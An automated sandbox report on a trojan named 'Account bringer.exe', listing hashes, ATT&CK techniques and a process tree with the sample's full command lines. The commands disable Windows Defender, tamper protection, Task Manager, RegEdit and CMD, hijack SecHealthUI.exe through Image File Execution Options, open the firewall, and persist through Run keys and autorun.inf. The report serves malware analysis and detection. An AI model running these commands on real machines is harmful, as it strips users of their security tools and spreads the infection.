611fe530fb6e67415f6a5ed53e1961180fcb89bb1caab4fed64feab511a89813

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
05-10-2024 19:06

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Account bringer.exe
Size

37KB
MD5

fc04578c59cd41466d533cbcd7157282
SHA1

201be3e8474ca4bfe58fd5761ea62c42645d7fd0
SHA256

611fe530fb6e67415f6a5ed53e1961180fcb89bb1caab4fed64feab511a89813
SHA512

6c661d6c05e7729a1f4abd869b2e5b24cf2b0393f65d6e36c3f7c34502dd02f91b414cc08809a12209d7decd8a2250939f4f1ba7430e472e515a4f7816340f2b
SSDEEP

768:fb3MDF3lFdS7IVW5maePrM+rMRa8Nuv/t:fb6F3lPSUVW5oQ+gRJNE

Score

10^/10

discovery evasion persistence privilege_escalation trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Disables RegEdit via registry modification 1 IoCs

evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Disables Task Manager via registry modification
evasion

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 2 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SecHealthUI.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SecHealthUI.exe\Debugger = "cmd /c echo Access Denied & pause"	reg.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
1936	netsh.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation	Account bringer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation	COM Surrogate.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2be7fcfaf2fb2c0121ad0a1c26b16a25.exe	COM Surrogate.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2be7fcfaf2fb2c0121ad0a1c26b16a25.exe	COM Surrogate.exe

Executes dropped EXE 1 IoCs

pid	Process
4620	COM Surrogate.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4016	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\2be7fcfaf2fb2c0121ad0a1c26b16a25 = "\"C:\\ProgramData\\COM Surrogate.exe\" .."	COM Surrogate.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\2be7fcfaf2fb2c0121ad0a1c26b16a25 = "\"C:\\ProgramData\\COM Surrogate.exe\" .."	COM Surrogate.exe

Drops autorun.inf file 1 TTPs 5 IoCs

Malware can abuse Windows Autorun to spread further via attached volumes.

Replication Through Removable Media

T1091

description	ioc	Process
File created	D:\autorun.inf	COM Surrogate.exe
File created	F:\autorun.inf	COM Surrogate.exe
File opened for modification	F:\autorun.inf	COM Surrogate.exe
File created	C:\autorun.inf	COM Surrogate.exe
File opened for modification	C:\autorun.inf	COM Surrogate.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
1148	tasklist.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 20 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Account bringer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	COM Surrogate.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Kills process with taskkill 3 IoCs

evasion

pid	Process
4712	taskkill.exe
5096	taskkill.exe
988	taskkill.exe

Runs net.exe

Runs regedit.exe 1 IoCs

pid	Process
2804	regedit.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe
4620	COM Surrogate.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4620	COM Surrogate.exe

Suspicious use of AdjustPrivilegeToken 42 IoCs

description	pid	Process
Token: SeDebugPrivilege	4620	COM Surrogate.exe
Token: SeDebugPrivilege	988	taskkill.exe
Token: 33	4620	COM Surrogate.exe
Token: SeIncBasePriorityPrivilege	4620	COM Surrogate.exe
Token: 33	4620	COM Surrogate.exe
Token: SeIncBasePriorityPrivilege	4620	COM Surrogate.exe
Token: 33	4620	COM Surrogate.exe
Token: SeIncBasePriorityPrivilege	4620	COM Surrogate.exe
Token: 33	4620	COM Surrogate.exe
Token: SeIncBasePriorityPrivilege	4620	COM Surrogate.exe
Token: 33	4620	COM Surrogate.exe
Token: SeIncBasePriorityPrivilege	4620	COM Surrogate.exe
Token: SeDebugPrivilege	2768	taskmgr.exe
Token: SeSystemProfilePrivilege	2768	taskmgr.exe
Token: SeCreateGlobalPrivilege	2768	taskmgr.exe
Token: 33	4620	COM Surrogate.exe
Token: SeIncBasePriorityPrivilege	4620	COM Surrogate.exe
Token: 33	4620	COM Surrogate.exe
Token: SeIncBasePriorityPrivilege	4620	COM Surrogate.exe
Token: 33	4620	COM Surrogate.exe
Token: SeIncBasePriorityPrivilege	4620	COM Surrogate.exe
Token: 33	4620	COM Surrogate.exe
Token: SeIncBasePriorityPrivilege	4620	COM Surrogate.exe
Token: SeDebugPrivilege	4712	taskkill.exe
Token: SeDebugPrivilege	5096	taskkill.exe
Token: 33	4620	COM Surrogate.exe
Token: SeIncBasePriorityPrivilege	4620	COM Surrogate.exe
Token: 33	4620	COM Surrogate.exe
Token: SeIncBasePriorityPrivilege	4620	COM Surrogate.exe
Token: 33	4620	COM Surrogate.exe
Token: SeIncBasePriorityPrivilege	4620	COM Surrogate.exe
Token: SeDebugPrivilege	1148	tasklist.exe
Token: 33	4620	COM Surrogate.exe
Token: SeIncBasePriorityPrivilege	4620	COM Surrogate.exe
Token: 33	4620	COM Surrogate.exe
Token: SeIncBasePriorityPrivilege	4620	COM Surrogate.exe
Token: 33	4620	COM Surrogate.exe
Token: SeIncBasePriorityPrivilege	4620	COM Surrogate.exe
Token: 33	4620	COM Surrogate.exe
Token: SeIncBasePriorityPrivilege	4620	COM Surrogate.exe
Token: 33	4620	COM Surrogate.exe
Token: SeIncBasePriorityPrivilege	4620	COM Surrogate.exe

Suspicious use of FindShellTrayWindow 47 IoCs

pid	Process
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe

Suspicious use of SendNotifyMessage 47 IoCs

pid	Process
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe
2768	taskmgr.exe

Suspicious use of WriteProcessMemory 61 IoCs

description	pid	Process	procid_target
PID 1828 wrote to memory of 4620	1828	Account bringer.exe	82
PID 1828 wrote to memory of 4620	1828	Account bringer.exe	82
PID 1828 wrote to memory of 4620	1828	Account bringer.exe	82
PID 4620 wrote to memory of 1936	4620	COM Surrogate.exe	88
PID 4620 wrote to memory of 1936	4620	COM Surrogate.exe	88
PID 4620 wrote to memory of 1936	4620	COM Surrogate.exe	88
PID 4620 wrote to memory of 988	4620	COM Surrogate.exe	90
PID 4620 wrote to memory of 988	4620	COM Surrogate.exe	90
PID 4620 wrote to memory of 988	4620	COM Surrogate.exe	90
PID 4620 wrote to memory of 2020	4620	COM Surrogate.exe	99
PID 4620 wrote to memory of 2020	4620	COM Surrogate.exe	99
PID 4620 wrote to memory of 2020	4620	COM Surrogate.exe	99
PID 2020 wrote to memory of 4712	2020	cmd.exe	101
PID 2020 wrote to memory of 4712	2020	cmd.exe	101
PID 2020 wrote to memory of 4712	2020	cmd.exe	101
PID 2020 wrote to memory of 5096	2020	cmd.exe	102
PID 2020 wrote to memory of 5096	2020	cmd.exe	102
PID 2020 wrote to memory of 5096	2020	cmd.exe	102
PID 2020 wrote to memory of 432	2020	cmd.exe	103
PID 2020 wrote to memory of 432	2020	cmd.exe	103
PID 2020 wrote to memory of 432	2020	cmd.exe	103
PID 2020 wrote to memory of 4016	2020	cmd.exe	104
PID 2020 wrote to memory of 4016	2020	cmd.exe	104
PID 2020 wrote to memory of 4016	2020	cmd.exe	104
PID 2020 wrote to memory of 2972	2020	cmd.exe	105
PID 2020 wrote to memory of 2972	2020	cmd.exe	105
PID 2020 wrote to memory of 2972	2020	cmd.exe	105
PID 2972 wrote to memory of 4236	2972	net.exe	106
PID 2972 wrote to memory of 4236	2972	net.exe	106
PID 2972 wrote to memory of 4236	2972	net.exe	106
PID 2020 wrote to memory of 3588	2020	cmd.exe	107
PID 2020 wrote to memory of 3588	2020	cmd.exe	107
PID 2020 wrote to memory of 3588	2020	cmd.exe	107
PID 2020 wrote to memory of 1584	2020	cmd.exe	108
PID 2020 wrote to memory of 1584	2020	cmd.exe	108
PID 2020 wrote to memory of 1584	2020	cmd.exe	108
PID 2020 wrote to memory of 3628	2020	cmd.exe	109
PID 2020 wrote to memory of 3628	2020	cmd.exe	109
PID 2020 wrote to memory of 3628	2020	cmd.exe	109
PID 2020 wrote to memory of 1796	2020	cmd.exe	110
PID 2020 wrote to memory of 1796	2020	cmd.exe	110
PID 2020 wrote to memory of 1796	2020	cmd.exe	110
PID 2020 wrote to memory of 1756	2020	cmd.exe	111
PID 2020 wrote to memory of 1756	2020	cmd.exe	111
PID 2020 wrote to memory of 1756	2020	cmd.exe	111
PID 2020 wrote to memory of 2584	2020	cmd.exe	112
PID 2020 wrote to memory of 2584	2020	cmd.exe	112
PID 2020 wrote to memory of 2584	2020	cmd.exe	112
PID 2020 wrote to memory of 828	2020	cmd.exe	113
PID 2020 wrote to memory of 828	2020	cmd.exe	113
PID 2020 wrote to memory of 828	2020	cmd.exe	113
PID 2020 wrote to memory of 2300	2020	cmd.exe	114
PID 2020 wrote to memory of 2300	2020	cmd.exe	114
PID 2020 wrote to memory of 2300	2020	cmd.exe	114
PID 2020 wrote to memory of 4704	2020	cmd.exe	115
PID 2020 wrote to memory of 4704	2020	cmd.exe	115
PID 2020 wrote to memory of 4704	2020	cmd.exe	115
PID 4172 wrote to memory of 1148	4172	cmd.exe	123
PID 4172 wrote to memory of 1148	4172	cmd.exe	123
PID 4172 wrote to memory of 2804	4172	cmd.exe	124
PID 4172 wrote to memory of 2804	4172	cmd.exe	124

C:\Users\Admin\AppData\Local\Temp\Account bringer.exe
"C:\Users\Admin\AppData\Local\Temp\Account bringer.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1828
- C:\ProgramData\COM Surrogate.exe
  "C:\ProgramData\COM Surrogate.exe"
  2⤵
  - Checks computer location settings
  - Drops startup file
  - Executes dropped EXE
  - Adds Run key to start application
  - Drops autorun.inf file
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4620
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall add allowedprogram "C:\ProgramData\COM Surrogate.exe" "COM Surrogate.exe" ENABLE
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:1936
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM SecHealthUI.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:988
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpBB3D.tmp.bat" "
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2020
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im SecHealthUI.exe /f
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4712
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im taskmgr.exe
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5096
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SecHealthUI.exe" /v Debugger /t REG_SZ /d "cmd /c echo Access Denied & pause" /f
      4⤵
      Event Triggered Execution: Image File Execution Options Injection
      System Location Discovery: System Language Discovery
      PID:432
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Windows\SystemApps\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy" /grant:r "NT SERVICE\TrustedInstaller:(OI)(CI)F" /T
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4016
  - - C:\Windows\SysWOW64\net.exe
      NET FILE
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2972
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 FILE
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4236
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      System Location Discovery: System Language Discovery
      PID:3588
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpynetReporting /t REG_DWORD /d 0 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:1584
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:3628
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:1796
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:1756
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:2584
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      Disables RegEdit via registry modification
      System Location Discovery: System Language Discovery
      PID:828
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:2300
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:4704

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2768

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4172
- C:\Windows\system32\tasklist.exe
  tasklist
  2⤵
  - Enumerates processes with tasklist
  - Suspicious use of AdjustPrivilegeToken
  PID:1148
- C:\Windows\regedit.exe
  regedit
  2⤵
  - Runs regedit.exe
  PID:2804

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Replication Through Removable Media

T1091

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Replication Through Removable Media

T1091

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\COM Surrogate.exe

Filesize
37KB

MD5
fc04578c59cd41466d533cbcd7157282

SHA1
201be3e8474ca4bfe58fd5761ea62c42645d7fd0

SHA256
611fe530fb6e67415f6a5ed53e1961180fcb89bb1caab4fed64feab511a89813

SHA512
6c661d6c05e7729a1f4abd869b2e5b24cf2b0393f65d6e36c3f7c34502dd02f91b414cc08809a12209d7decd8a2250939f4f1ba7430e472e515a4f7816340f2b

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpBB3D.tmp.bat

Filesize
2KB

MD5
2de9fb3ae1d996b2b920cee621916ac7

SHA1
2020dc8e19a8670e79eb7a9767302e90b1345ea6

SHA256
2a73f074cb6f6a61dd3e582196593432bc740822b2b612b749acb5eacc2210cd

SHA512
20b50bfe9d7c2b459be36709330b6fb4e55c127992397c04becc5d3b4ee480c69ef2a4ccbce6d006d3a56db7a7b546f13ab44839726fba3649bc2833f5b6ac1f

Download Submit
memory/1828-0-0x0000000074EA2000-0x0000000074EA3000-memory.dmp

Filesize
4KB

Download
memory/1828-1-0x0000000074EA0000-0x0000000075451000-memory.dmp

Filesize
5.7MB

Download
memory/1828-2-0x0000000074EA0000-0x0000000075451000-memory.dmp

Filesize
5.7MB

Download
memory/1828-13-0x0000000074EA0000-0x0000000075451000-memory.dmp

Filesize
5.7MB

Download
memory/2768-25-0x00000163FE5D0000-0x00000163FE5D1000-memory.dmp

Filesize
4KB

Download
memory/2768-26-0x00000163FE5D0000-0x00000163FE5D1000-memory.dmp

Filesize
4KB

Download
memory/2768-27-0x00000163FE5D0000-0x00000163FE5D1000-memory.dmp

Filesize
4KB

Download
memory/2768-37-0x00000163FE5D0000-0x00000163FE5D1000-memory.dmp

Filesize
4KB

Download
memory/2768-36-0x00000163FE5D0000-0x00000163FE5D1000-memory.dmp

Filesize
4KB

Download
memory/2768-35-0x00000163FE5D0000-0x00000163FE5D1000-memory.dmp

Filesize
4KB

Download
memory/2768-34-0x00000163FE5D0000-0x00000163FE5D1000-memory.dmp

Filesize
4KB

Download
memory/2768-33-0x00000163FE5D0000-0x00000163FE5D1000-memory.dmp

Filesize
4KB

Download
memory/2768-32-0x00000163FE5D0000-0x00000163FE5D1000-memory.dmp

Filesize
4KB

Download
memory/2768-31-0x00000163FE5D0000-0x00000163FE5D1000-memory.dmp

Filesize
4KB

Download
memory/4620-24-0x0000000074EA0000-0x0000000075451000-memory.dmp

Filesize
5.7MB

Download
memory/4620-14-0x0000000074EA0000-0x0000000075451000-memory.dmp

Filesize
5.7MB

Download
memory/4620-12-0x0000000074EA0000-0x0000000075451000-memory.dmp

Filesize
5.7MB

Download